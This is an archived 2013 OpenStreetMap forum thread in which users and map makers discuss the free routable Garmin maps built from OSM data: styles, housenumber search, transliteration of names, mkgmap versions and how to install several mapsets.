- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.03.2013 09:48 · [flux]
Yes, I'm still updating the original but it failed the last two updates. Please add feature requests for the new style sheet to this topic.
I've been discussing with ligfietser about the future of the generic map and how the new stylesheet fits into the picture. So far we agreed on the following:
- The original generic map will continue as a generic light map (no buildings, fewer landuses, small tiles) for those who either need small tiles (old GPS devices) or a very large area.
- The new generic map will become the normal generic map which looks good and has the most features and larger tiles.
- The OpenFietsMap Lite may be replaced by the full OpenFietsMap map.Additionally we're discussing adding altitude profiles to the generic and OpenFietsMap map by default with global coverage (starting with Europe and perhaps North America).
I'm interested in what all of you think of these ideas.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.03.2013 10:24 · [flux]
Zemartelo wrote:
Are you still updating the traditional style?
I use these maps on my Oregon 550t and the new mapstyle hides alot of information (like abandoned railway beds) and they are important in an outdoor unit.I hope the old stle has not been dropped yet
If you notice some features that are missing in the new style, please report it in this topic:
http://forum.openstreetmap.org/viewtopi … =13257&p=6It is correct that I removed abandoned railways from the new map because it was rendered as "path" and it shouldnt.
If the former track is now in use as a path, it must be added on osm as highway=path, footway, cycleway etc
If there is nothing, it should not render on the map as 'highway' - Re: Worldwide routable Garmin maps: URL REMOVED · cchatfield (Gast) · 15.03.2013 16:20 · [flux]
Lambertus wrote:
I'm thrilled to announce that users of the new generic map (testing) should be able to search and use housenumbers with map version 11-03-2013 and later. This also applies to the Openfietsmap Lite version.
As a bonus I merged the BAG data in my local copy of the OSM planet file. The BAG contains all housenumbers for the Netherlands and is made available as a separate download by OSM user Gertjan Idema and with a bit of help from OSM user ligfietser.
Outside the Netherlands, searching housenumbers only works when available in the OSM data, so if housenumbers in your area aren't mapped in OSM yet then quickly go outside and map them so everyone can enjoy house to house routing in the Garmin maps from OpenStreetMap 😎
I am thrilled as well Lambertus. Brilliant man who deserves enormous thanks from us freekies. I am English but live in France where many properties do not have numbers or street names. My road had ten houses with the same non address. Now all communes are having to give names to roads and numbers to properties for practical and emergency reasons. I have done all the roads in Chazelles, Charente and gradually adding the numbers. Mind you I do get some twitching curtains.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.03.2013 16:46 · [flux]
cchatfield wrote:
Mind you I do get some twitching curtains.
Ha! Yes, I know about that, it feels a bit funny taking notes while staring at houses looking for housenumbers knowing that the occupants and others are staring at you at the same time. Worse, I've once been chased off a trailer park by fat guys in trainers who didn't like my inquisitiveness. Luckily I can cycle faster then they can run... 🤔
Have fun!
Rehash from earlier post:
I've been discussing with ligfietser about the future of the generic map and how the new stylesheet fits into the picture. So far we agreed on the following:
- The original generic map will continue as a generic light map (no buildings, fewer landuses, small tiles) for those who either need small tiles (old GPS devices) or a very large area.
- The new generic map will become the normal generic map which looks good and has the most features and larger tiles.
- The OpenFietsMap Lite may be replaced by the full OpenFietsMap map.Additionally we're discussing adding altitude profiles to the generic and OpenFietsMap map by default with global coverage (starting with Europe and perhaps North America).
I'm interested in what all of you think of these ideas.
- Re: Worldwide routable Garmin maps: URL REMOVED · Vclaw (Gast) · 16.03.2013 23:58 · [flux]
Lambertus wrote:
Additionally we're discussing adding altitude profiles to the generic and OpenFietsMap map by default with global coverage (starting with Europe and perhaps North America).
I'm interested in what all of you think of these ideas.
Do you mean contour lines? If so, that would be great. Very useful for walking, cycling etc, with either the generic map or OpenFietsMap.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.03.2013 11:45 · [flux]
Yes 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.03.2013 13:20 · [flux]
Maybe make it possibe to install several mapsets?
We could think of using the ISO 3166 country code for each country mapset in the family ID.
For instance the FID for the generic map for the Netherlands will be 20528.
Suggestion for the Family name will be OSM_Generic(NLD), the series name (which is displayed in the map list in Mapsource) will be OSM_Generic(NLD_2013-03-17)? The new style generic will get 21xxx and the Family name OSM_Topo(NLD)?For the custom mapsets maybe just OSM_Generic with a fixed FID?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.03.2013 15:28 · [flux]
popej wrote:
Family ID in range 1 - 3000 is already used by commercial maps. Better use bigger values to avoid conflicts.
See http://www.javawa.nl/mapids.html and let Javawa know if you know more map ID''s.
My suggestion for using 20+iso country code for a unique generic map FID per country could only collide for an Antartica map ;-) and My Openfietsmap Light (FID=20010)
- Re: Worldwide routable Garmin maps: URL REMOVED · pweerd (Gast) · 19.03.2013 21:48 · [flux]
Hoi,
Ik ben een beetje confuus: wat is precies het vershil tussen de kaart op http://garmin.openstreetmap.nl
en de kaart op http://www.openfietsmap.nl?Een van de verschillen is blijkbaar dat de opnefietsmap geen busstops bevat.
Waarom worden die niet meegenomen?
En gedurende welke stap in de map-making procedure worden die eruit gesloopt?Hartelijke groet,
Peter - Re: Worldwide routable Garmin maps: URL REMOVED · pweerd (Gast) · 19.03.2013 21:50 · [flux]
pweerd wrote:
...Ik ben een beetje confuus...
Sorry: didn't notice in time that the language is english.
/P
- Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 19.03.2013 22:05 · [flux]
Lambertus wrote:
Rehash from earlier post:
I've been discussing with ligfietser about the future of the generic map and how the new stylesheet fits into the picture. So far we agreed on the following:
- The original generic map will continue as a generic light map (no buildings, fewer landuses, small tiles) for those who either need small tiles (old GPS devices) or a very large area.
- The new generic map will become the normal generic map which looks good and has the most features and larger tiles.
- The OpenFietsMap Lite may be replaced by the full OpenFietsMap map.Additionally we're discussing adding altitude profiles to the generic and OpenFietsMap map by default with global coverage (starting with Europe and perhaps North America).
I'm interested in what all of you think of these ideas.
OpenFietsMap Lite is great for cycling with older gps-es like Edge 705 (which is quite much used).
If this one is replaced by the full version it's not available in a larger area version anymore I suppose?
That would really be pity.
Or will the old Europe version be refreshed? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.03.2013 22:46 · [flux]
@Peter - cyclist normally dont use buses so I skipped them 😉
@GRI the old Europe will be replaced in a few days - I have to finish the documentation on my website first with some pretty screenshots 😎 - Re: Worldwide routable Garmin maps: URL REMOVED · pweerd (Gast) · 19.03.2013 22:50 · [flux]
ligfietser wrote:
@Peter - cyclist normally dont use buses so I skipped them 😉
I understand. But hey, I'm a hiker and apparently abusing your map :-)
How easy is it for me to modify your procedures to get them in again? - Re: Worldwide routable Garmin maps: URL REMOVED · RetiredInNH (Gast) · 19.03.2013 23:15 · [flux]
ligfietser wrote:
@Peter - cyclist normally dont use buses so I skipped them 😉
In Switzerland the Post Buses are equipped with bike racks ... so I guess that cyclists do use them 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.03.2013 23:37 · [flux]
pweerd wrote:
ligfietser wrote:
@Peter - cyclist normally dont use buses so I skipped them 😉
I understand. But hey, I'm a hiker and apparently abusing your map :-)
How easy is it for me to modify your procedures to get them in again?I actually removed them because they cluttered the map. Especially when people were importing them massively from several sources so there where double pois for one bus stop. I noticed that since the new license a lot of them have been deleted so maybe I can bring them back on the map. We will see, I can make them almost invisible or a very small dot? If they are searchable and editable with the typ file, its ok with me.
- Re: Worldwide routable Garmin maps: URL REMOVED · pweerd (Gast) · 20.03.2013 00:00 · [flux]
ligfietser wrote:
I can make them almost invisible or a very small dot? If they are searchable and editable with the typ file, its ok with me.
Yes, a small dot.
Same for railway stations (maybe as a small rectangle like on other maps)
That would be nice! - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 20.03.2013 07:14 · [flux]
Railway stations were always rendered, but in the latest Basecamp releases they are rendered only at a very high zoomlevel. It looks like garmin hate trains, because they seem to ignore railways in their own maps too..... 😬
In Mapsource you can set the display of pois on "on" instead of "automatic", to render railway stations earlier on the map.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.03.2013 11:11 · [flux]
GRi wrote:
Or will the old Europe version be refreshed?
There is a new version available: http://www.openfietsmap.nl/downloads/europe 😎
GRi, can you test this map and see if it works on your Edge?
- Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 22.03.2013 10:12 · [flux]
Thanks.
I have loaded W and N2 in Mapsource. Will check the Edge in a few days.
Searching in Mapsource works allright in W, however not in N2. It does find the places in the country in the upper area of the search window, however pressing find doesn't yield any results on the map. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 22.03.2013 10:44 · [flux]
Do you look for a particular place in Norway perhaps?
It looks like there is something wrong in the OSM boundary data, if you search Oslo, Mapsource can find it without specifying the country, but not if you specify Norway.
If I search Stockholm, SWE then I could find it. - Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 22.03.2013 13:35 · [flux]
ligfietser wrote:
Do you look for a particular place in Norway perhaps?
It looks like there is something wrong in the OSM boundary data, if you search Oslo, Mapsource can find it without specifying the country, but not if you specify Norway.
If I search Stockholm, SWE then I could find it.I searched for several places, none of them found. But all of them with Norway specified yes.
Without, it can find everything indeed.Denmark is ok as well.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.03.2013 12:38 · [flux]
pweerd wrote:
Yes, a small dot.
Same for railway stations (maybe as a small rectangle like on other maps)
That would be nice!Done 😎
- Re: Worldwide routable Garmin maps: URL REMOVED · jonathanpatt (Gast) · 23.03.2013 23:40 · [flux]
Lambertus wrote:
Additionally we're discussing adding altitude profiles to the generic and OpenFietsMap map by default with global coverage (starting with Europe and perhaps North America).
I'd love to see this—I currently switch back and forth between an official Garmin map (which has good elevation data but awful trail/road data) and OSM, depending on where I am, and having a unified map would be fantastic.
- Re: Worldwide routable Garmin maps: URL REMOVED · BertMu (Gast) · 24.03.2013 10:29 · [flux]
@Ligfietser: The EU card works fine on the Edge 705, even adress search (NL). Had a hard time to find my adress as it seems the villages are part of the Towns in The Netherlands.
Regards,
Bert - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 24.03.2013 18:43 · [flux]
Hi Bert,
Can't you find your address in Mapsource or Basecamp too? Because this should work since Sebastic has imported all place boundaries (woonplaatsgrenzen) in the Netherlands recently and they should be complete in the Europe map as well. Dont know if this is a Edge problem or a general issue. - Re: Worldwide routable Garmin maps: URL REMOVED · tbillert (Gast) · 30.03.2013 13:30 · [flux]
Hi all,
I just used http://garmin.openstreetmap.nl/ to create small maps that fit in the internal memory of my Garmin Oregon 450. This speeds up its map display dramatically - I used OSM Freizeitkarte (http://www.freizeitkarte-osm.de/de/index.html) before, which has to be saved on the SD card because it's too large to fit into the internal memory.
Works pretty well, but I noticed that all Umlauts in city, steet etc. names get lost (ö -> o, ä -> a etc.). Is there anything I can do about that? Umlauts work fine in OSM Freizeitkarte.
Thank you in advance!
Best wishes,
Thomas.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 30.03.2013 13:56 · [flux]
Good question, I think it has to do with the codepage options that Lambertus uses?
Another question for Lambertus, why are the typ files not updated?
It is important that every time I update the style files, the typ files are updated as well.
Dont know if your scripts automatically load the latest versions? - Re: Worldwide routable Garmin maps: URL REMOVED · WanMil (Gast) · 30.03.2013 14:18 · [flux]
tbillert wrote:
I just used http://garmin.openstreetmap.nl/ to create small maps that fit in the internal memory of my Garmin Oregon 450. This speeds up its map display dramatically - I used OSM Freizeitkarte (http://www.freizeitkarte-osm.de/de/index.html) before, which has to be saved on the SD card because it's too large to fit into the internal memory.
Please be careful!! If you copy a corrupt map to the internal memory your GPS might get broken too so that you have to send it to Garmin to repair.
Instead you can always remove an SD card if it contains a corrupt map.WanMil
- Re: Worldwide routable Garmin maps: URL REMOVED · tbillert (Gast) · 30.03.2013 14:32 · [flux]
Hi WanMil,
are you sure? Why should this happen? As long as the device boots up (and I don't change anything in its operating system) I should be able to access it as USB mass storage device. If a corrupt map however prevents it from booting up, I would consider this a severe design flaw.
Best,
Thomas.
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 30.03.2013 15:13 · [flux]
WanMil wrote:
If you copy a corrupt map to the internal memory your GPS might get broken too so that you have to send it to Garmin to repair.
You can fix it yourself if that happens; all you need is to put the Oregon into the 'Forced USB Mass Storage Mode'. It is described here for the Montana, but the same procedure applies to the Oregon: http://garminmontanagpsr.wikispaces.com/Recovery
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.03.2013 18:02 · [flux]
tbillert wrote:
Works pretty well, but I noticed that all Umlauts in city, steet etc. names get lost (ö -> o, ä -> a etc.). Is there anything I can do about that? Umlauts work fine in OSM Freizeitkarte.
First you'll have to look at my maps from an international perspective:
There are hundreds of languages and scripts and only few people are able to read Roman, Cyrillic, Thai as well as Kanji to name only a few. So when I started this service I decided that Roman script and English language would be the base for my maps. Other map makers will have to provide localized maps, like Freizeitkarte.Technically this translates to:
Before the OSM data is rendered by Mkgmap I use a custom built transliteration application to convert Cyrillic script to Roman. This application can transliterate more then just Cyrillic but the definitions for other scripts are lacking. After this step Mkgmap is used to create the Garmin tiles. For this I use the following Mkgmap parameter:--name-tag-list=name:en,int_name,name:zh_py,name:engels,name
This selects which name tag to use in the Garmin tiles in the order from left to right. All the name tags are documented in the OSM wiki with the exception of 'name:engels' which comes from the transliteration step. So the normal 'name' tag is only used when none of the other tags is available. This may be the cause of your missing Umlauts for cities but I think it's unlikely the cause for the street names.
Another (remote) possible cause may be the "--latin1" Mkgmap parameter which should translate to CP1252 but this code page includes Umlauts so should not be the problem.
ligfietser wrote:
Another question for Lambertus, why are the typ files not updated?
It is important that every time I update the style files, the typ files are updated as well.
Dont know if your scripts automatically load the latest versions?Typ file updating has been a manual operation up to now. I'll include automatic updates in the scripts for the next map update.
- Re: Worldwide routable Garmin maps: URL REMOVED · tbillert (Gast) · 30.03.2013 23:51 · [flux]
Thanks, Lambertus - I don't think I get the complete message, but at least I understand what codepages are.
So is there any way I can fix Umlauts, or would it require extensive tuning of the logic behind your website?
JaVaWa wrote:
You can fix it yourself if that happens; all you need is to put the Oregon into the 'Forced USB Mass Storage Mode'. It is described here for the Montana, but the same procedure applies to the Oregon: http://garminmontanagpsr.wikispaces.com/Recovery
Thank you! This will help in case I come across this problem (so far all maps were fine, knock on wood...).
Happy Easter!
All the best,
Thomas.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 31.03.2013 12:04 · [flux]
tbillert wrote:
Thanks, Lambertus - I don't think I get the complete message, but at least I understand what codepages are.
So is there any way I can fix Umlauts, or would it require extensive tuning of the logic behind your website?
I understand, the whole process is quite complicated to grasp at first. However, I've looked at the various steps in my toolchain and this is what finally goes into Mkgmap:
<node␣id="472822"␣lat="51.5208622"␣lon="7.2363666"> <tag␣k="bus"␣v="yes"/> <tag␣k="highway"␣v="bus_stop"/> <tag␣k="name"␣v="HER-Vöde-/Bergstraße"/> <tag␣k="network"␣v="VRR"/> <tag␣k="operator"␣v="HCR"/> <tag␣k="public_transport"␣v="stop_position"/> <tag␣k="ref"␣v="Vöde-/Bergstraße,␣Herne"/> <tag␣k="name:engels"␣v="HER-Vode-/Bergstrasse"/> </node>
I notice that the name tag contains the ö and ß still, but there's also the name:engels tag from the transliteration step. And because Mkgmap is instructed to choose the name:engels over the name tag the ö and ß is lost in the final map.
The question is: should the transliteration step transliterate German special characters? And how about French ç or Turkish ş etc? I.e. do we only want to transliterate when the original script is not compatible with CP1252 or do we want to transliterate everything that is not compatible with the English script?
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 31.03.2013 15:24 · [flux]
Is it a transliteration? I think it is English name, for example German München is Munich in English.
If you create map of the world, then you don't have much choices. I think for now only CP1252 and int_name/name:en could be used. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 31.03.2013 17:38 · [flux]
popej wrote:
Is it a transliteration? I think it is English name, for example German München is Munich in English.
Yes, it's caused by the transliteration step:
Lambertus wrote:
I notice that the name tag contains the ö and ß still, but there's also the name:engels tag from the transliteration step. And because Mkgmap is instructed to choose the name:engels over the name tag the ö and ß is lost in the final map.
popej wrote:
If you create map of the world, then you don't have much choices. I think for now only CP1252 and int_name/name:en could be used.
Indeed.
- Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 01.04.2013 21:54 · [flux]
ligfietser wrote:
There is a new version available: http://www.openfietsmap.nl/downloads/europe 😎
GRi, can you test this map and see if it works on your Edge?
Here is my experience with the new EU OFM map with an Edge 705.
I have loaded it in Mapsource / Basecamp and used it offroad on a Mountainbike and onroad on a racing bike.In Mapsource I can say I like it very much, for the moment it is my favorite map for planning cycetours.
Really good.
For the gps there are 2 subjects to discuss however: performance and styles.1a. performance offroad.
While Mountainbiking I use "Courses". This means I can navigate without Turn information. This is because in terrain with a lot of turns the Edge 705 zooms out for a turn-information-screen, showing all the nearby turns you will encounter so you see nothing but a white screen left.
Navigating this way (with courses, without turn-information) only the map has to be shifted, not too much to be done for the gps, and this works fine with the EU map.
1b. performance onroad.
In this case I use turn-information. The Edge 705 comes up with a special screen showing the next -plus nearby- turn(s).
This performs bad. You hear a beep ("turn is coming"). Then you look and see an empty screen.
Checking again you may see the background drawn, then the navigation line comes and finally also the rest of the map is coming.
It performs comparable with the Open MTB map.For me this means that at the gps I will keep using the OFM Light, since that one really performs much better.
HOPEFULLY the OFM Light will stay available in an up to date version!2. Styles
a. Navigation-line.
On my Edge 705 the navigation line is drawn before the pathes and roads.
This means that when pathes and roads are drawn in a wide style they hide the navigaton line.
Maybe someone could tell how to change priorities such that the navigation line would come on top of everything.
However, I didn't find it and therefore I allways change the road-styles such that I can always see the navigation line still.
b. Small gps-screen.
The Edge 705 has a very small screen where the map is shown. Just like an Etrex, by the way.
This means not too much information should be shown at the same time since then you won't see "the trees through the forest" anymore (in a dutch saying).
Also wide road-styles in combination with a high density of roads / cyclepathes plus a navigation-line make the screen quite unreadable.
Here again is a reason for narrow line-styles.
c. Navigating offroad.
Styles for offroad lines (pathes) need to be more clear for offroad navigating.2a is another reason to use the OFM Light on the gps: only show the things that are really necessary to find your way while navigating.
Conclusion: for me OFM EU is a great map in Mapsource / Basecamp.
At the gps (Edge 705) I really prefer the light version (with adapted styles). - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 02.04.2013 08:38 · [flux]
Thanks for your input GRi,
About 1b: I don't know if the Edge has night mode display, you can try if this renders better in the full EU version
2a It's a Garmin bug that they put the navigation line behind the road lines. In all the later units the navigation is always on top and big. You can't change it, only making the lines much thinner, but I won't make another typ file. You can edit the typ files and make a custom one that suits your needs. - Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 02.04.2013 22:52 · [flux]
ligfietser wrote:
but I won't make another typ file. You can edit the typ files and make a custom one that suits your needs.
Yes, there is no point about a typ file, i have my own typ file for every map I use. But hopefully you will continue to supply the OFM Light here as you do now, since that's the best performing map at the Edge 705.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.04.2013 16:35 · [flux]
GRi, since you are living in the NL's (I suppose), there will be still a light version of the benelux available at openfietsmap.nl
Because the NL's is a very heavily mapped country you will notice the differences in performance.
For other regions in Europe I'm not so sure if the full EU version is really so much slower because it's not so well mapped. So I'm still not convinced if a world wide lite version next to a full version is making sense. Other opinions are welcome. - Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 05.04.2013 14:25 · [flux]
ligfietser wrote:
GRi, since you are living in the NL's (I suppose),
Yes, I'm living in the nl. And cycling in Europe. Germany is more interesting for me than Belgium or Luxembourg.
Is it more work for mapgeneration when the area gets bigger? I can imagine that processes run longer, and maybe you need more powerfull hardware? - Re: Worldwide routable Garmin maps: URL REMOVED · gspeed (Gast) · 12.04.2013 21:41 · [flux]
Hi, I apologize if this has been requested in the past but I was not able to find this info: where is it possible to know which version of mkgmap - and maybe which command line params - are used to build the maps?
It would be nice to know this to be aware of which new functionality are available... in the past I tried the maps there but since the mkgmap version used was not that up to date I was missing the address search functionality so I switched to build maps myself using geofabick pbf, spltter and the latest mkgmap... and I'm still doing that! But I would swicth back to lambertus maps if I knew the way the map is build and find out it is matching my needs.
Many thanks!
gspeed - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 13.04.2013 01:13 · [flux]
Hello gspeed,
The mkgmap version is in the licence file that you see in the list of downloadable files, as indicated by the description. The params have been discussed here: http://forum.openstreetmap.org/viewtopi … =13257&p=5
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.04.2013 09:06 · [flux]
See http://osm.pleiades.uni-wuppertal.de/ga … icense.txt
Map created with mkgmap-r2544 (which includes housenumber search) - Re: Worldwide routable Garmin maps: URL REMOVED · gspeed (Gast) · 14.04.2013 08:43 · [flux]
perfect - thanks!
hey, I tried myself but: http://osm2.pleiades.uni-wuppertal.de/g … icense.txt
the vesion is "Map created with mkgmap-r2309" - that's pretty old, how did you get 2544?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.04.2013 10:13 · [flux]
gspeed wrote:
hey, I tried myself but: http://osm2.pleiades.uni-wuppertal.de/g … icense.txt
the vesion is "Map created with mkgmap-r2309" - that's pretty old, how did you get 2544?
The tiles are generated on osm.pleiades.uni-wuppertal.de and then copied to osm2. The Mkgamp on osm2 is only used to create the gmapsupp and -I think- not related to recent improvements in the search capabilities as those concern the indexes in separate tiles. But I could be mistaken ofcourse.
The commandline parameters have been posted at various places in this topic
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.04.2013 10:14 · [flux]
Did you download a "custom" map (not one of the drop downlist)?
Then maybe Lambertus should have a look here and update his scripts to use the same mkgmap recent version.Lambertus wrote:
The tiles are generated on osm.pleiades.uni-wuppertal.de and then copied to osm2. The Mkgamp on osm2 is only used to create the gmapsupp and -I think- not related to recent improvements in the search capabilities as those concern the indexes in separate tiles. But I could be mistaken ofcourse.
I think it is better always use the same mkgmap version?
- Re: Worldwide routable Garmin maps: URL REMOVED · gspeed (Gast) · 14.04.2013 10:35 · [flux]
Lambertus wrote:
...The Mkgamp on osm2 is only used to create the gmapsupp and -I think- not related to recent improvements in the search capabilities as those concern the indexes in separate tiles. But I could be mistaken of course.
The command line parameters have been posted at various places in this topic
ok - so I agree with ligfietser, for custom maps the final behavior/features might not be aligned to the pre-created map and this can create confusion (@ligfietser yes, it was a custom map)
Regarding the command line, right - but it is quite time consuming to get the full picture and you mgith always miss a latest change, it would be nice if the current command lines will be documented somewhere in the wiki pages!
Nevertheless... thanks for all what you provide!
gspeed
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.04.2013 10:36 · [flux]
ligfietser wrote:
Lambertus wrote:
The tiles are generated on osm.pleiades.uni-wuppertal.de and then copied to osm2. The Mkgamp on osm2 is only used to create the gmapsupp and -I think- not related to recent improvements in the search capabilities as those concern the indexes in separate tiles. But I could be mistaken ofcourse.
I think it is better always use the same mkgmap version?
Possibly, but it has almost always been the case that the Mkgmap version on osm2 is lagging behind. Differences should only have effects when it concerns gmapsupp creation. Anyway, I have a map from osm2 on my GPS and address search works fine.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.04.2013 10:53 · [flux]
Better update it because the license txt is old: 😉
Map data licenced under Creative Commons Attribution ShareAlike 2.0gspeed wrote:
hey, I tried myself but: http://osm2.pleiades.uni-wuppertal.de/g … icense.txt
In the latest mkgmap version this is changed,
see http://www.mail-archive.com/mkgmap-dev@ … 15446.html - Re: Worldwide routable Garmin maps: URL REMOVED · motoziggy (Gast) · 30.04.2013 05:52 · [flux]
Thanks for this service - I will definitely be sending you a donation! Just got back from a moto ride from Canada to Costa Rica. Before I left with my friends we decided each to get different set of maps so that in that we could compare. One of us got the Garmin maps, one of us got a set made by a Mexican provider, and one of us took advantage of your service. We all ended up using your maps, as they were by far the best!
Now, I am heading to ride in Europe in the next couple of weeks, so I downloaded from Italy to Eastern Europe. I took note of the issue with downloading different maps sets and took your advice to load JaVaWa GMTK - and gave the first down load a different name. Still when I loaded the second set it overwrote the first - and then when loaded into Map Source crashed the program everytime I tried to load the maps. I removed it with GMTK and reloaded the original ...and it seems to be working again. But now I am confused as to what you mean by changing the ID - which I thought I had done...but whatever change I made - seems to result in Map Source crashing...
What category should I modify - Family ID, Name on Computer, Name on Device, Folder name......?
THanks
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 30.04.2013 10:58 · [flux]
If you already have one OSM Generic routable mapset installed, you need to run Javawa GMTK first and modify the Family ID, Name on Computer and Folder Name first before installing a second mapset. Keep Mapsource (or Basecamp) closed when you do this and it should work. When you run the installer of the 2nd mapset, the installer notice that the mapset is already installed, click OK to proceed.
After the 2nd installation, run Javawa GMTK again to check if the second mapset is installed without problems and to modify the latest mapset name and ID so that you can install more OSM mapsets in the future. - Re: Worldwide routable Garmin maps: URL REMOVED · YOz (Gast) · 03.05.2013 14:11 · [flux]
Hi All,
First of all thanks for the great service of garmin.openstreetmap.nlI am not sure if it was mentioned before, but I want to attend everybody on the programme: GMap tool (www.gmaptool.eu/en), which allows you to change "map set Names" on the .img files directly.
By this method you can just 1) download the .zip file (containing gmapsupp.img) from garmin.openstreetmap.nl. 2) Copy the unzipped gmapsupp.img to your device and 3) change the map set name with Gmap tool to the desired name to be shown on your device. So no need for Basecamp. - Re: Worldwide routable Garmin maps: URL REMOVED · hacknovice (Gast) · 06.05.2013 16:28 · [flux]
Hello everyone,
My first post, please be gentle 🙂
I need maps for a motorcycle GPS Zumo 660LM. It is for a friend of mine but he needs maps of Russia and India. GPS itself was ordered with maps of Europe. Am I safe to assume that if I download the ZIP (img) maps of India and Russia on a SD card, he would be successful in navigating though both those countries on his Zumo? The GPS is on order and I am getting prepared so any help would be greatly appreciated. TIA
- Re: Worldwide routable Garmin maps: URL REMOVED · Fod (Gast) · 06.05.2013 17:50 · [flux]
Splitter question:
I have an old (but waterproof) Garmin GPS V that has served me well on my motorbike. I want to upgrade it with a OSM map, as I have had great value of Lambertus' service on my Garmin nüvi 30.
The GPS V has very limited capacity, so I guess that I will have to use the Splitter program - but is this possible with Lambertus' maps? As I understand, the tiles on http://garmin.openstreetmap.nl are the result of Splitter's work - so if I want even smaller tiles, I have to start over by myself? Is this correct?
In any case, advise on how to produce the exact same maps as Lambertus' - just with smaller tiles - is appreciated.
BR,
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Jakob - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 06.05.2013 20:22 · [flux]
Hi Hack,
For ease of use I suggest you build a custom map on the site, using the manual tile selection option and also make sure you choose the 2nd option "testing new style". This will give you a single file to download, gmapsupp.img, which you put in the Garmin folder on the micro SD card. If the Russia maps already on the GPS overlap they will need to be disabled.
I have a Zumo 660 and OSM maps work well.
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · TJNoffy (Gast) · 06.05.2013 22:02 · [flux]
Per Beddist's suggestion, I'm reposting a question here about using Lambertus's Garmin maps on my Garmin Quest. Here's my orginal post:
I'm new to OSM. Have been looking for a way to get current maps for my older Garmin Quest (for my Harley) since they stopped providing maps for it in the right format after the 2009 map set.
I did get a set of routable maps (tiles) downloaded for my area of the US from garmin.openstreetmap.nl. Installed them and finally figured out how to see them in MapSource (View\Switch to Product menu item). At this point I'm assuming I would be able to upload them to my Quest, but...
Now I'm noticing a lack of street numbers on maps. I tried using MapSource to find my address in fairly rural Virginia, my mom's address in the heavily populated Washington, DC area, and even 1600 Pennsylvania Avenue in DC (the White House). No go. Streets in general were found, but not street numbers.
So, is this the norm for OSM maps, maybe because they're still maturing and waiting for volunteers to provide street number data? Or did I not download the right format of map? Maybe I need another data file from the site to add street numbers to these maps?
In any event, it's great that the maps are routable, but if I can't find specific addresses, I'm not sure what use they will be in my Quest when trying to get from point A to point B. I'm sure I could add POI's for the places I know I go to, but what if I get an address for someplace I've never been while I'm out riding?
Thanks for any advice you can give!
So it was suggested that I try searching for some of the same addresses on the OSM site, which I did, and I found them... well, at least last Friday I did. The OSM site map doesn't seem to want to find specific addresses today. (Is that a common problem on OSM?)
Anyway, I'd like to know this: If I can find a specific address on the OSM site map, should I be able to find them in MapSource (and hopefully on my GPS) using maps downloaded from garmin.openstreetmap.nl? Just trying to determine if I can extend the life of my old Quest (which works fine except for the old Garmin maps).
Thank you!
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 07.05.2013 06:01 · [flux]
Fod wrote:
I have an old (but waterproof) Garmin GPS V
Whoa, a blast from the past. I bought one of those 2nd hand in the UAE and used it on my bike trip until Thailand.
Fod wrote:
The GPS V has very limited capacity
You said it. I found that using a Garmin city map the CPU was too slow to auto-route. Unless you want to display the map only and not use routing I strongly suggest you use the Nuvi or perhaps shell out for a low-end Zumo. Nuvi 500 can probably be found 2nd hand and is waterproof.
Splitter is used to split OSM data, not Garmin maps.
To produce my own ad-hoc maps I download OSM data with JOSM and the alternate download plugin. I have the mkgmap configuration files that ligfietser and I have developed for Lambertus' new style and a batch file that starts the compilation. I just drop an OSM file onto the batch file and that gives me a bunch of files which I can then install into Mapsource, from where they can be loaded into the GPS. It's fiddly and longwinded to set up, but now it's almost drag and drop.
Are you sure the tiles from the site won't fit into your GPS V?
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.05.2013 08:37 · [flux]
TJNoffy wrote:
Anyway, I'd like to know this: If I can find a specific address on the OSM site map, should I be able to find them in MapSource (and hopefully on my GPS) using maps downloaded from garmin.openstreetmap.nl? Just trying to determine if I can extend the life of my old Quest (which works fine except for the old Garmin maps).
Only if the specific housenumber is also given on OSM, you should be able to find it in Mapsource (but no guarantee that it works, the housenumber search is still experimental).
